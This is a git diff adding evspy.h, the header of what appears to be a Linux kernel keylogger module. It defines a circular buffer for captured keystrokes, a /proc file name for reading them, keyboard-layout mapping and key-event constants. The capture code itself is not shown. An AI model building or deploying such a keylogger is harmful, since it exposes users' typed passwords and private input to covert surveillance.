diff options
Diffstat (limited to 'evspy.h')
-rw-r--r-- | evspy.h | 71 |
1 files changed, 71 insertions, 0 deletions
@@ -0,0 +1,71 @@ +#include <asm/page.h> +#include <linux/input.h> +#include "maps.h" + +#define EVS_NAME "evspy" // driver name +#define EVS_MAP map_es // change this to your keyboard layout +#define EVS_TROLL 1 // clear this if you're a serious guy +#define EVS_BUFSIZE PAGE_SIZE // size of the circular buffer (4K) +#define EVS_PROCNAME "driver/" EVS // virtual file within /proc + +#define MIN(x, y) (x) < (y) ? (x) : (y) + +/* + * If pointer is at the end of buffer, put it at the beginning. + * If not, simply add 1 to it. + */ +#define evs_incp(p) \ +({ \ + if (p == &buffer[EVS_BUFSIZE-1]) \ + p = buffer; \ + else \ + p++; \ + p; \ +}) + +/* + * Same as evs_incp but backwards + */ +#define evs_decp(p) \ +({ \ + if (p == buffer) \ + p = &buffer[EVS_BUFSIZE-1]; \ + else \ + p--; \ + p; \ +}) + +/* + * Insert character c where wrp is pointing and move it to the next char. + * If rdp == wrp, increase rdp too. + */ +#define evs_insert(c) \ +({ \ + *wrp = c; \ + if (evs_incp(wrp) == rdp) \ + evs_incp(rdp); \ +}) + +/* + * Remove a character from the buffer + */ +#define evs_delete() \ +({ \ + if (wrp != rdp && evs_decp(wrp) == rdp) \ + evs_decp(rdp); \ +}) + +/* + * Is the c event code associated to any of the FX buttons? + */ +#define evs_isfX(c) \ +({ \ + (c >= KEY_F1 && c <= KEY_F10) || \ + (c == KEY_F11 || c == KEY_F12) || \ + (c >= KEY_F13 && c <= KEY_F24); \ +}) + +// Event values +#define EVS_VAL_FREE 0 +#define EVS_VAL_PRESS 1 +#define EVS_VAL_HOLD 2 |